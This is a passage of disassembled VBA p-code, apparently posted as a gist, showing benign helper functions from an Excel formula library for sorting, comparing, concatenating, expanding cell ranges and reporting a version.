' EndFunc | |
' Line #553: | |
' FuncDefn (Private Function Utils_QuickSortCol(arr As Variant, indices As Variant, first As Long, last As Long, col As Long, ascend As Boolean)) | |
' Line #554: | |
' Ld first | |
' Ld last | |
' Ge | |
' If | |
' BoSImplicit | |
' ExitFunc | |
' EndIf | |
' Line #555: | |
' Dim | |
' VarDefn tmp (As Variant) | |
' Line #556: | |
' Dim | |
' VarDefn pivot (As Variant) | |
' BoS 0x0000 | |
' Ld first | |
' Ld col | |
' ArgsLd indices 0x0002 | |
' Ld col | |
' ArgsLd arr 0x0002 | |
' St pivot | |
' Line #557: | |
' Dim | |
' VarDefn Left (As Long) | |
' BoS 0x0000 | |
' Ld first | |
' St Left | |
' Line #558: | |
' Dim | |
' VarDefn right (As Long) | |
' BoS 0x0000 | |
' Ld last | |
' St right | |
' Line #559: | |
' Dim | |
' VarDefn ascendprefix (As Long) | |
' BoS 0x0000 | |
' LitDI2 0x0001 | |
' UMi | |
' LitDI2 0x0002 | |
' Ld ascend | |
' FnSgn | |
' Mul | |
' Sub | |
' St ascendprefix | |
' Line #560: | |
' Ld Left | |
' Ld right | |
' Le | |
' While | |
' Line #561: | |
' Ld ascendprefix | |
' Ld Left | |
' Ld col | |
' ArgsLd indices 0x0002 | |
' Ld col | |
' ArgsLd arr 0x0002 | |
' Ld pivot | |
' ArgsLd Utils_Compare 0x0002 | |
' Mul | |
' LitDI2 0x0000 | |
' Lt | |
' While | |
' Line #562: | |
' Ld Left | |
' LitDI2 0x0001 | |
' Add | |
' St Left | |
' Line #563: | |
' Wend | |
' Line #564: | |
' Ld ascendprefix | |
' Ld pivot | |
' Ld right | |
' Ld col | |
' ArgsLd indices 0x0002 | |
' Ld col | |
' ArgsLd arr 0x0002 | |
' ArgsLd Utils_Compare 0x0002 | |
' Mul | |
' LitDI2 0x0000 | |
' Lt | |
' While | |
' Line #565: | |
' Ld right | |
' LitDI2 0x0001 | |
' Sub | |
' St right | |
' Line #566: | |
' Wend | |
' Line #567: | |
' Ld Left | |
' Ld right | |
' Le | |
' IfBlock | |
' Line #568: | |
' Ld Left | |
' Ld col | |
' ArgsLd indices 0x0002 | |
' St tmp | |
' Line #569: | |
' Ld right | |
' Ld col | |
' ArgsLd indices 0x0002 | |
' Ld Left | |
' Ld col | |
' ArgsSt indices 0x0002 | |
' Line #570: | |
' Ld tmp | |
' Ld right | |
' Ld col | |
' ArgsSt indices 0x0002 | |
' Line #571: | |
' Ld Left | |
' LitDI2 0x0001 | |
' Add | |
' St Left | |
' Line #572: | |
' Ld right | |
' LitDI2 0x0001 | |
' Sub | |
' St right | |
' Line #573: | |
' EndIfBlock | |
' Line #574: | |
' Wend | |
' Line #575: | |
' Ld arr | |
' Ld indices | |
' Ld first | |
' Ld right | |
' Ld col | |
' Ld ascend | |
' ArgsCall Utils_QuickSortCol 0x0006 | |
' Line #576: | |
' Ld arr | |
' Ld indices | |
' Ld Left | |
' Ld last | |
' Ld col | |
' Ld ascend | |
' ArgsCall Utils_QuickSortCol 0x0006 | |
' Line #577: | |
' EndFunc | |
' Line #578: | |
' FuncDefn (Private Function Utils_Compare(arg1 As Variant, arg2 As Variant) As Variant) | |
' Line #579: | |
' Ld arg1 | |
' ArgsLd IsNumeric 0x0001 | |
' IfBlock | |
' Line #580: | |
' Ld arg2 | |
' ArgsLd IsNumeric 0x0001 | |
' IfBlock | |
' Line #581: | |
' Ld arg1 | |
' Ld arg2 | |
' Sub | |
' St Utils_Compare | |
' Line #582: | |
' ElseBlock | |
' Line #583: | |
' LitDI2 0x0001 | |
' UMi | |
' St Utils_Compare | |
' Line #584: | |
' EndIfBlock | |
' Line #585: | |
' ElseBlock | |
' Line #586: | |
' Ld arg2 | |
' ArgsLd IsNumeric 0x0001 | |
' IfBlock | |
' Line #587: | |
' LitDI2 0x0001 | |
' St Utils_Compare | |
' Line #588: | |
' ElseBlock | |
' Line #589: | |
' Ld arg1 | |
' Coerce (Str) | |
' Ld arg2 | |
' Coerce (Str) | |
' FnStrComp | |
' St Utils_Compare | |
' Line #590: | |
' EndIfBlock | |
' Line #591: | |
' EndIfBlock | |
' Line #592: | |
' EndFunc | |
' Line #593: | |
' FuncDefn (Private Function fn_arrayfun(args As Variant) As Variant) | |
' Line #594: | |
' Ld args | |
' LitDI2 0x0002 | |
' LitDI2 0x0064 | |
' ArgsCall Utils_AssertArgsCount 0x0003 | |
' Line #595: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' ArgsLd TypeName 0x0001 | |
' LitStr 0x0006 "String" | |
' Eq | |
' LitStr 0x0033 "apply: 1st argument must be an Excel function name." | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #596: | |
' Dim | |
' VarDefn i (As Long) | |
' VarDefn r1 (As Long) | |
' VarDefn c1 (As Long) | |
' VarDefn r2 (As Long) | |
' VarDefn c2 (As Long) | |
' Line #597: | |
' LitDI2 0x0001 | |
' UMi | |
' St r1 | |
' BoS 0x0000 | |
' LitDI2 0x0001 | |
' UMi | |
' St c1 | |
' Line #598: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0002 | |
' Ld args | |
' ArgsLd Utils_Stack_Size 0x0001 | |
' For | |
' Line #599: | |
' Ld i | |
' ArgsLd args 0x0001 | |
' ArgsCall Utils_ForceMatrix 0x0001 | |
' Line #600: | |
' Ld i | |
' ArgsLd args 0x0001 | |
' Ld r2 | |
' Ld c2 | |
' ArgsCall Utils_Size 0x0003 | |
' Line #601: | |
' Ld r1 | |
' LitDI2 0x0000 | |
' Lt | |
' Ld c1 | |
' LitDI2 0x0000 | |
' Lt | |
' And | |
' Paren | |
' Ld r2 | |
' LitDI2 0x0001 | |
' Eq | |
' Ld c2 | |
' LitDI2 0x0001 | |
' Eq | |
' And | |
' Paren | |
' Or | |
' Ld r1 | |
' Ld r2 | |
' Eq | |
' Ld c1 | |
' Ld c2 | |
' Eq | |
' And | |
' Paren | |
' Or | |
' Ld r1 | |
' LitDI2 0x0001 | |
' Eq | |
' Ld r1 | |
' Ld r2 | |
' Eq | |
' Or | |
' Paren | |
' Ld c2 | |
' LitDI2 0x0001 | |
' Eq | |
' And | |
' Paren | |
' Or | |
' Ld r2 | |
' LitDI2 0x0001 | |
' Eq | |
' Ld c1 | |
' LitDI2 0x0001 | |
' Eq | |
' Ld c1 | |
' Ld c2 | |
' Eq | |
' Or | |
' Paren | |
' And | |
' Paren | |
' Or | |
' LitStr 0x001B "apply(): Wrong input sizes." | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #602: | |
' Ld r1 | |
' Ld r2 | |
' ArgsLd MAX 0x0002 | |
' St r1 | |
' BoS 0x0000 | |
' Ld c1 | |
' Ld c2 | |
' ArgsLd MAX 0x0002 | |
' St c1 | |
' Line #603: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #604: | |
' Dim | |
' VarDefn v | |
' VarDefn r | |
' BoS 0x0000 | |
' OptionBase | |
' Ld r1 | |
' OptionBase | |
' Ld c1 | |
' Redim r 0x0002 (As Variant) | |
' Line #605: | |
' StartForVariable | |
' Ld r1 | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld r | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' For | |
' Line #606: | |
' StartForVariable | |
' Ld c1 | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld r | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' For | |
' Line #607: | |
' LitVarSpecial (Empty) | |
' St v | |
' Line #608: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0002 | |
' Ld args | |
' ArgsLd Utils_Stack_Size 0x0001 | |
' For | |
' Line #609: | |
' Ld i | |
' ArgsLd args 0x0001 | |
' Ld r2 | |
' Ld c2 | |
' ArgsCall Utils_Size 0x0003 | |
' Line #610: | |
' Ld r1 | |
' Ld r2 | |
' ArgsLd MIN 0x0002 | |
' Ld c1 | |
' Ld c2 | |
' ArgsLd MIN 0x0002 | |
' Ld i | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0002 | |
' Ld v | |
' ArgsCall Utils_Stack_Push 0x0002 | |
' Line #611: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #612: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' LitStr 0x0001 "(" | |
' Concat | |
' Ld v | |
' LitStr 0x0001 "," | |
' ArgsLd Join 0x0002 | |
' Concat | |
' LitStr 0x0001 ")" | |
' Concat | |
' ArgsLd Evaluate 0x0001 | |
' Ld r1 | |
' Ld c1 | |
' ArgsSt r 0x0002 | |
' Line #613: | |
' StartForVariable | |
' Ld c1 | |
' EndForVariable | |
' NextVar | |
' Line #614: | |
' StartForVariable | |
' Ld r1 | |
' EndForVariable | |
' NextVar | |
' Line #615: | |
' Ld r | |
' Ld fn_arrayfun | |
' ArgsCall Utils_ConformAndAssign 0x0002 | |
' Line #616: | |
' EndFunc | |
' Line #617: | |
' FuncDefn (Private Function fn_concat(args As Variant) As Variant) | |
' Line #618: | |
' Ld args | |
' LitDI2 0x0001 | |
' LitDI2 0x0003 | |
' ArgsCall Utils_AssertArgsCount 0x0003 | |
' Line #619: | |
' Dim | |
' VarDefn i (As Long) | |
' VarDefn j (As Long) | |
' VarDefn x (As Long) | |
' VarDefn joiner (As String) | |
' Line #620: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' ArgsCall Utils_ForceMatrix 0x0001 | |
' Line #621: | |
' Ld args | |
' LitDI2 0x0003 | |
' ArgsLd Utils_CalcDimDirection 0x0002 | |
' St x | |
' Line #622: | |
' Ld args | |
' FnUBound 0x0000 | |
' LitDI2 0x0001 | |
' Gt | |
' If | |
' BoSImplicit | |
' LitDI2 0x0002 | |
' ArgsLd args 0x0001 | |
' St joiner | |
' EndIf | |
' Line #623: | |
' Dim | |
' VarDefn r | |
' BoS 0x0000 | |
' OptionBase | |
' Ld x | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' Mul | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Add | |
' OptionBase | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' Mul | |
' Ld x | |
' Add | |
' Redim r 0x0002 (As Variant) | |
' Line #624: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' For | |
' Line #625: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' For | |
' Line #626: | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Ld i | |
' Mul | |
' Ld x | |
' Ld j | |
' Mul | |
' Add | |
' LitDI2 0x0001 | |
' Eq | |
' IfBlock | |
' Line #627: | |
' Ld i | |
' Ld j | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0002 | |
' Ld x | |
' Ld i | |
' Mul | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Add | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Ld j | |
' Mul | |
' Ld x | |
' Add | |
' ArgsSt r 0x0002 | |
' Line #628: | |
' ElseBlock | |
' Line #629: | |
' Ld x | |
' Ld i | |
' Mul | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Add | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Ld j | |
' Mul | |
' Ld x | |
' Add | |
' ArgsLd r 0x0002 | |
' Ld joiner | |
' Concat | |
' Ld i | |
' Ld j | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0002 | |
' Concat | |
' Ld x | |
' Ld i | |
' Mul | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Add | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Ld j | |
' Mul | |
' Ld x | |
' Add | |
' ArgsSt r 0x0002 | |
' Line #630: | |
' EndIfBlock | |
' Line #631: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' NextVar | |
' Line #632: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #633: | |
' Ld r | |
' Ld fn_concat | |
' ArgsCall Utils_ConformAndAssign 0x0002 | |
' Line #634: | |
' EndFunc | |
' Line #635: | |
' FuncDefn (Private Function fn_expand(args As Variant) As Variant) | |
' Line #636: | |
' Ld args | |
' LitDI2 0x0001 | |
' LitDI2 0x0003 | |
' ArgsCall Utils_AssertArgsCount 0x0003 | |
' Line #637: | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0001 | |
' LitStr 0x0008 "eval_arg" | |
' Eq | |
' LitStr 0x0025 "expand(): 1st argument must be a cell" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #638: | |
' Dim | |
' VarDefn cell | |
' BoS 0x0000 | |
' SetStmt | |
' LitDI2 0x0002 | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0001 | |
' ArgsLd arguments 0x0001 | |
' Set cell | |
' Line #639: | |
' Dim | |
' VarDefn rows (As Long) | |
' VarDefn cols (As Long) | |
' Line #640: | |
' Ld args | |
' FnUBound 0x0000 | |
' LitDI2 0x0001 | |
' Gt | |
' If | |
' BoSImplicit | |
' LitDI2 0x0002 | |
' ArgsLd args 0x0001 | |
' ArgsLd eval_tree 0x0001 | |
' St rows | |
' EndIf | |
' Line #641: | |
' Ld args | |
' FnUBound 0x0000 | |
' LitDI2 0x0002 | |
' Gt | |
' If | |
' BoSImplicit | |
' LitDI2 0x0003 | |
' ArgsLd args 0x0001 | |
' ArgsLd eval_tree 0x0001 | |
' St cols | |
' EndIf | |
' Line #642: | |
' Ld rows | |
' LitDI2 0x0000 | |
' Le | |
' IfBlock | |
' Line #643: | |
' Ld xlDown | |
' Ld cell | |
' ArgsMemLd End 0x0001 | |
' MemLd Row | |
' Ld cell | |
' MemLd Row | |
' Sub | |
' LitDI2 0x0001 | |
' Add | |
' St rows | |
' Line #644: | |
' LitDI2 0x0001 | |
' LitDI2 0x0000 | |
' Ld cell | |
' ArgsMemLd Offset 0x0002 | |
' Ld Application | |
' MemLd WorksheetFunction | |
' ArgsMemLd IsError 0x0001 | |
' Not | |
' IfBlock | |
' Line #645: | |
' LitDI2 0x0001 | |
' LitDI2 0x0000 | |
' Ld cell | |
' ArgsMemLd Offset 0x0002 | |
' LitStr 0x0000 "" | |
' Eq | |
' If | |
' BoSImplicit | |
' LitDI2 0x0001 | |
' St rows | |
' EndIf | |
' Line #646: | |
' EndIfBlock | |
' Line #647: | |
' EndIfBlock | |
' Line #648: | |
' Ld cols | |
' LitDI2 0x0000 | |
' Le | |
' IfBlock | |
' Line #649: | |
' Ld xlToRight | |
' Ld cell | |
' ArgsMemLd End 0x0001 | |
' MemLd Column | |
' Ld cell | |
' MemLd Column | |
' Sub | |
' LitDI2 0x0001 | |
' Add | |
' St cols | |
' Line #650: | |
' LitDI2 0x0001 | |
' LitDI2 0x0000 | |
' Ld cell | |
' ArgsMemLd Offset 0x0002 | |
' Ld Application | |
' MemLd WorksheetFunction | |
' ArgsMemLd IsError 0x0001 | |
' Not | |
' IfBlock | |
' Line #651: | |
' LitDI2 0x0000 | |
' LitDI2 0x0001 | |
' Ld cell | |
' ArgsMemLd Offset 0x0002 | |
' LitStr 0x0000 "" | |
' Eq | |
' If | |
' BoSImplicit | |
' LitDI2 0x0001 | |
' St cols | |
' EndIf | |
' Line #652: | |
' EndIfBlock | |
' Line #653: | |
' EndIfBlock | |
' Line #654: | |
' Ld rows | |
' Ld cols | |
' Ld cell | |
' ArgsMemLd Resize 0x0002 | |
' MemLd Value | |
' Ld fn_expand | |
' ArgsCall Utils_ConformAndAssign 0x0002 | |
' Line #655: | |
' EndFunc | |
' Line #656: | |
' FuncDefn (Private Function fn_version(args As Variant) As Variant) | |
' Line #657: | |
' Ld args | |
' LitDI2 0x0000 | |
' LitDI2 0x0000 | |
' ArgsCall Utils_AssertArgsCount 0x0003 | |
' Line #658: | |
' Ld VERSION | |
' St fn_version | |
' Line #659: | |
' EndFunc | |
' Line #660: | |
' Line #661: | |
' Line #662: | |
' Line #663: | |
' Line #664: |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment